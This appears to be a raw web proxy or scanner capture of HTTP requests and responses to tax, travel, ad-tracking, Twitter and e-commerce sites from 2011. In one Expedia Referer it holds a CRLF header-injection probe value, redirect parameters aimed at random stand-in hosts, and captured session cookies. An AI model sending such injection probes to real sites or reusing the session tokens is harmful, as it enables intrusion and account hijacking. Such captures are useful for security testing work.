GET /Login/TNLogin.aspx HTTP/1.1
Host: www.taxnotebook.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: refaccno=759456; ASPSESSIONIDAABTDSBD=FMKFIPIDJPCACPMKKHGMNJHE

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:44:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: SessionStateGUID=819ade93-ce22-7d31-b53b-15e41cb9a483; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 10347

<img src='../images/tnlogo.gif' width='96' height='23'>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
       <title>Tax Notebook</title>
       <link href="../Main.css" typ
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJNjA2NzY3ODc1ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQULX3JlbWVtYmVyTWU=" />
...[SNIP]...

GET /pxbk?bk_uuid=dwzgv1ys99OETShB&redir=http%3a//af5e0e95996f8cc96/a%3fhttp%3a//tags.bluekai.com/site/2753%3fid%3dPARTNER_UUID HTTP/1.1
Host: a.triggit.com
Proxy-Connection: keep-alive
Referer: http://tags.bluekai.com/site/2576?ret=html&phint=u=80312807C795402E93C5016D2A2A3E1B&phint=ord=7169916033744.81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: trgu=c1e1301e-3a1f-4ca7-9870-f636b5f10e66

HTTP/1.1 302 Found
Location: http://af5e0e95996f8cc96/a?http://tags.bluekai.com/site/2753?id=c1e1301e-3a1f-4ca7-9870-f636b5f10e66
Date: Fri, 06 May 2011 22:34:57 GMT
Content-Length: 11
Content-Type: text/html; charset=ISO-8859-1

Redirecting

GET /r?c2=6035740&d.c=http%3a//ae1138bbd2776f84f/a%3fgif&d.o=dedominion&d.x=241937932&d.t=page&d.u=http%3A%2F%2Fdominionenterprises.com%2F HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://ae1138bbd2776f84f/a?gif
Date: Fri, 06 May 2011 18:39:34 GMT
Connection: close
Set-Cookie: UID=25894b9d-24.143.206.177-1303083414; expires=Sun, 05-May-2013 18:39:34 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

GET /activity?_o=62795&_t=cm_bk&redirect=.a4916f41be22b8b64/ HTTP/1.1
Host: d.xp1.ru4.com
Proxy-Connection: keep-alive
Referer: http://tags.bluekai.com/site/2576?ret=html&phint=u=80312807C795402E93C5016D2A2A3E1B&phint=ord=7169916033744.81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X1ID=AM-00000000030620452; O1807966=16; P1807966=c3N2X2MyfFl8MTMwNDM2MDM2MHxzc3ZfYnxjMnwxMzA0MzYwMzYwfHNzdl8xfDI4NTQ0NTQ3M3wxMzA0MzYwMzYwfA==

HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 06 May 2011 22:33:42 GMT
P3p: policyref="/w3c/p3p.xml", CP="NON DSP COR PSAa OUR STP UNI"
Pragma: no-cache
Set-cookie: O62795=0; domain=.ru4.com; path=/; expires=Mon, 01-Jan-1970 12:00:00 GMT
Location: http://.a4916f41be22b8b64/
Content-length: 0
Connection: close

GET /1/statuses/user_timeline.json?include_entities=1&include_available_features=1&contributor_details=true&include_rts=true&user_id=24459574 HTTP/1.1
Host: api.twitter.com
Proxy-Connection: keep-alive
Referer: http://api.twitter.com/receiver.html
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
X-PHX: true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: guest_id=130314166807091166; __utmz=43838368.1303561994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=173.193.214.243.1304470443436909; __utma=43838368.551233229.1303561994.1304617828.1304721594.4; __utmc=43838368; __utmb=43838368.1.10.1304721594; _twitter_sess=BAh7CjoMY3NyZl9pZCIlYWE5YTBlZmFmNzAwM2UwZDIwOWRmZDJkOWU1OTMy%250AODc6DnJldHVybl90byIkaHR0cDovL3R3aXR0ZXIuY29tL1NvY2lhbEZvbGxv%250AdzoPY3JlYXRlZF9hdGwrCMPlZMYvASIKZmxhc2hJQzonQWN0aW9uQ29udHJv%250AbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoHaWQiJTgwNGQ4%250AYWRlNDZmOTk5ZWNkOWM4MGEzYzI3MGY5ZjI0--8891229de7e28d860da29be28f8a516671ce98f8

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:40:09 GMT
Server: hi
Status: 200 OK
X-Transaction: 1304703609-30473-34243
X-RateLimit-Limit: 1000
ETag: "07cee35ad36c4b6979ad1fda1c8bb051"-gzip
Last-Modified: Fri, 06 May 2011 17:40:09 GMT
X-RateLimit-Remaining: 997
X-Runtime: 0.02318
X-Transaction-Mask: a6183ffa5f8ca943ff1b53b5644ef114bc137096
Content-Type: application/json; charset=utf-8
Pragma: no-cache
X-RateLimit-Class: api_phoenix
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: c9c59e83fb5603f4fb8ee0e90708cc03f51ed091
X-RateLimit-Reset: 1304707199
Set-Cookie: original_referer=JbKFAfGwv4RwApvTLqS%2BuSg2nN6n6Sc2FNg%2B%2FJZdApHOHiilCO8gnQ%3D%3D; path=/
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlYWE5YTBlZmFmNzAwM2UwZDIwOWRmZDJkOWU1OTMy%250AODc6DnJldHVybl90byIkaHR0cDovL3R3aXR0ZXIuY29tL1NvY2lhbEZvbGxv%250AdzoPY3JlYXRlZF9hdGwrCMPlZMYvAToHaWQiJTgwNGQ4YWRlNDZmOTk5ZWNk%250AOWM4MGEzYzI3MGY5ZjI0IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpG%250AbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--6bd1977f1842a61d06074014f6ed8747cb8e4463; domain=.twitter.com; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Length: 36346

{"statuses":[{"text":"Is it possible that I am feeling socially inadequate?","coordinates":null,"truncated":false,"id_str":"66530188304990208","source":"web","geo":null,"favorited":false,"retweet_coun
...[SNIP]...

GET /ecommerce/ HTTP/1.1
Host: www.clone-systems.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RECENTLY_VIEWED_PRODUCTS=8; CMSSESSIDe4d04fcf=eo21307v4qsv52mm0588i4v2r1

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:47:46 GMT
Server: Apache
Set-Cookie: SHOP_SESSION_TOKEN=qs1om4bp16nlerqj0n7otjneq3; expires=Sun, 08-May-2011 00:47:46 GMT; path=/ecommerce/; domain=.clone-systems.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 28692

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>

...[SNIP]...

GET /ecommerce/index.php?action=tracking_script HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.clone-systems.com

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:54:49 GMT
Server: Apache
Set-Cookie: SHOP_SESSION_TOKEN=eh9g2srl048i41kr56sr7gdb93; expires=Sun, 08-May-2011 00:54:50 GMT; path=/ecommerce/; domain=.clone-systems.com
Expires: Sat, 14 May 2011 00:54:50 +0000
Cache-Control: public,maxage=604800
Pragma: public
Content-Length: 190
Content-Type: text/javascript

               var img = new Image(1, 1);
               img.src = 'http://www.clone-systems.com/ecommerce/index.php?action=track_visitor&'+new Date().getTime();
               img.onload = function() { return true; };

GET /ecommerce/index.php?action=tracking_script HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.clone-systems.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:55:30 GMT
Server: Apache
Set-Cookie: SHOP_SESSION_TOKEN=sea1lu7lraticbpq2b4jg4uup4; expires=Sun, 08-May-2011 00:55:30 GMT; path=/ecommerce/; domain=.clone-systems.com
Expires: Sat, 14 May 2011 00:55:30 +0000
Cache-Control: public,maxage=604800
Pragma: public
Content-Length: 191
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript

               var img = new Image(1, 1);
               img.src = 'https://www.clone-systems.com/ecommerce/index.php?action=track_visitor&'+new Date().getTime();
               img.onload = function() { return true; };

GET /Hotels HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=3&mnth=5/1/2011&rgst=%0D%0Ans:netsparker056650=vuln&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s1=`user=v.8,0,EX011A614213$F4$B5205000c$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$F9Y$D9$0A$9E$23$C5E$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253D50053%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/Hotels%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Date: Fri, 06 May 2011 22:42:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: iEAPID=000,; Domain=.expedia.com; Path=/
Set-Cookie: JSESSION=ed861fe0-7e58-4a15-a1dc-ba3f1f9818e7; Domain=.expedia.com; Path=/
Set-Cookie: s1=`0; Domain=.expedia.com; Path=/
Set-Cookie: p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; Domain=.expedia.com; Expires=Fri, 06-May-2016 03:46:24 GMT; Path=/
Content-Length: 133396

<!DOCTYPE html>
<html>
<head>
<meta name="language" content="en_US"/>
<meta name="robots" content="noydir, noodp"/>
<title>Hotels: Find cheap hotel deals & resorts, make hotel reservations | E
...[SNIP]...

GET /about_us HTTP/1.1
Host: www.lbmc.com
Proxy-Connection: keep-alive
Referer: http://www.lbmc.com/landing/pci.htm?gclid=CPPNuPTV1KgCFeM85QodgmKbjA
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=224675399.1304749048.1.1.utmgclid=CPPNuPTV1KgCFeM85QodgmKbjA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=224675399.208570725.1304749048.1304749048.1304749048.1; __utmc=224675399; __utmb=224675399.1.10.1304749048

HTTP/1.1 301 Moved Permanently
Date: Sat, 07 May 2011 01:14:52 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
Set-Cookie: SESS083a1ac464c2b3bbfee975b7136aef65=u46gksfej3ltndtpup8vgslkp2; expires=Mon, 30-May-2011 04:48:12 GMT; path=/; domain=.lbmc.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 07 May 2011 01:14:52 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Location: http://www.lbmc.com/about-lbmc
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8

GET / HTTP/1.1
Host: www.trpcweb.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: store, no-cache, must-revalidate,post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 07 May 2011 01:37:01 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS965ff70c2c03801782546f5ffae8476c=1jkd7qgqokj3oj4tbtt6tsoik3; expires=Mon, 30-May-2011 05:10:21 GMT; path=/; domain=.trpcweb.com
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:37:02 GMT
Content-Length: 33980

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
<meta
...[SNIP]...

GET /serving/tracking_id.php?b=1&UID=13047194394361&TRSTR=1&RTID= HTTP/1.1
Host: ads.adonion.com
Proxy-Connection: keep-alive
Referer: http://kroogy.com/search/web/Linkbucks%20vlad%20modelS
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:03:52 GMT
Server: Apache/2.2.17 (Fedora)
X-Powered-By: PHP/5.3.3
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache, must-revalidate
Set-Cookie: TRUID=13047194394361; expires=Sun, 05-Jun-2011 22:03:52 GMT; path=/; domain=.adonion.com
Set-Cookie: CKTIME=1304719432; expires=Thu, 01-Mar-2012 22:03:52 GMT; path=/; domain=.adonion.com
Content-Length: 0
Connection: close
Content-Type: image/png

GET /is/media.expedia.com?U=/media/content/expus/graphics/home/wiz/wizard_booking_image.gif&V=3-AuRpyTyPuRR23jelg0laLB5Ar5FVMw71WrtlweqRnmwTqUxvVczAew%3d%3d&I=929884BBD25FA5E&D=expedia.com&01AD=1& HTTP/1.1
Host: ak1.abmr.net
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 01AI=2-2-EB6E52171CDEF3034828F16E1C941C3949AF262B120D03036970D01C8BD07852-53DD7F3F0623E38C5EBD95024020364994C943A39878EF266BC6AEA67E11581E

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://media.expedia.com/media/content/expus/graphics/home/wiz/wizard_booking_image.gif?01AD=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg&01RI=929884BBD25FA5E&01NA=
Expires: Fri, 06 May 2011 22:33:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 06 May 2011 22:33:42 GMT
Connection: close
Set-Cookie: 01AI=2-2-9865754352041C4D3ADB004D99DAF971A923DE02B6BBDD40E5FC7E190B49AC77-BBFBA3CA73975ED377F4F0A96413D918F3AA52C861039BDE93D7800374D5462A; expires=Sat, 05-May-2012 22:33:42 GMT; path=/; domain=.abmr.net
P3P: policyref="http://www.abmr.net/w3c/policy.xml", CP="NON DSP COR CURa ADMa DEVa OUR SAMa IND"

GET /ad/js/16228-124632-16454-0?mpt=570139&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aff/3/0/%2a/f%3B241006852%3B0-0%3B0%3B37579671%3B3454-728/90%3B42070397/42088184/1%3B%3B%7Esscs%3D%3f HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://www.scmagazineus.com/subscribe/section/122/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408/16228:26209

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: mojo3=16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408; expires=Mon, 6-May-2013 4:19:15 GMT; path=/; domain=.mediaplex.com;
Location: http://img.mediaplex.com/content/0/16228/124632/728x90_Patch.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F16228-124632-16454-0%3Fmpt%3D570139&mpt=570139&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aff/3/0/%2a/f%3B241006852%3B0-0%3B0%3B37579671%3B3454-728/90%3B42070397/42088184/1%3B%3B%7Esscs%3D%3f
Content-Length: 0
Date: Fri, 06 May 2011 21:50:11 GMT

GET /j?s=120511&u=&a=5&id=468990195&p=10&v=2&inif=1&l=0&t=0&w=1920&h=1156&z=300 HTTP/1.1
Host: as.casalemedia.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/APM/iview/148848792/direct;;wi.160;hi.600/01?click=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMD2=AAEoyE2yFpUAAda-AAM1SAEBAAABSX1NshatAAHWvwADMMABAQAAAT5wTbIThAAB1r8AA1CpAQEAAAE8qE2yE6cAAda-AALpswEBAAABTh1NshOxAAHWvwADSxMBAQAAATk1TbH5FgAB1r8AAwS1AQEA; CMD3=AAFJfU2yGXEAAda-AAMwuwEBAAABUcZNshvmAAHWvwADXUQBAQAAAT5wTbITvQAB1r8AA1CnAQEAAAFOHU2yFpUAAda-AANLEQEBAAABPwRNshasAAHWvwAC90IBAQAAAU2CTbIZ7wAB1r8AA0r8AwMAAAFML02x+RYAAda-AAM-FgEBAA**; CMJ2=AAJzHU2y+SIB; CMS=98198&1304076182; CMD1=AAFMcU26n5YAAX+WAANDjAEBAA**; CMID=5w153q3LtckAAEY.ZOUAAAAB; CMPS=061; CMPP=006

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/javascript
Expires: Fri, 06 May 2011 20:28:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 06 May 2011 20:28:10 GMT
Content-Length: 179
Connection: close
Set-Cookie: CMID=5w153q3LtckAAEY.ZOUAAAAB;domain=casalemedia.com;path=/;expires=Sat, 05 May 2012 20:28:10 GMT
Set-Cookie: CMPS=061;domain=casalemedia.com;path=/;expires=Thu, 04 Aug 2011 20:28:10 GMT
Set-Cookie: CMPP=006;domain=casalemedia.com;path=/;expires=Thu, 04 Aug 2011 20:28:10 GMT
Set-Cookie: CMSC=TcRZ2g**;domain=casalemedia.com;path=/;
Set-Cookie: CMD3=AAFJfU3EWdoAAda-AAMwuwECAAABPnBNxFnaAAHWvwADUKcBAgA*;domain=casalemedia.com;path=/;expires=Sun, 05 Jun 2011 20:28:10 GMT

document.write('<iframe src="http://cdn.optmd.com/V2/81520/217255/index.html" width="160" height="600" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"></iframe>');

GET /b?c1=2&c2=6402952&rn=336110646&c7=http%3A%2F%2Fwww.linkedin.com%2Fpub%2Fsocial-follow%2F12%2F7a2%2F294&c8=Social%20Follow%20%7C%20LinkedIn&c9=http%3A%2F%2Fburp%2Fshow%2F0&cv=2.2&cs=js HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.linkedin.com/pub/social-follow/12/7a2/294
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

HTTP/1.1 204 No Content
Content-Length: 0
Date: Fri, 06 May 2011 17:41:20 GMT
Connection: close
Set-Cookie: UID=25894b9d-24.143.206.177-1303083414; expires=Sun, 05-May-2013 17:41:20 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

GET /r?c2=6035740&d.c=gif&d.o=dedominion&d.x=241937932&d.t=page&d.u=http%3A%2F%2Fdominionenterprises.com%2F HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

HTTP/1.1 200 OK
Content-Length: 43
Content-Type: image/gif
Date: Fri, 06 May 2011 18:39:03 GMT
Connection: close
Set-Cookie: UID=25894b9d-24.143.206.177-1303083414; expires=Sun, 05-May-2013 18:39:03 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

GIF89a.............!.......,...........D..;

GET /bh/set.aspx?action=add&advid=2250&token=EXPD1 HTTP/1.1
Host: bh.contextweb.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=80312807C795402E93C5016D2A2A3E1B;ord=7169916033744.81?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
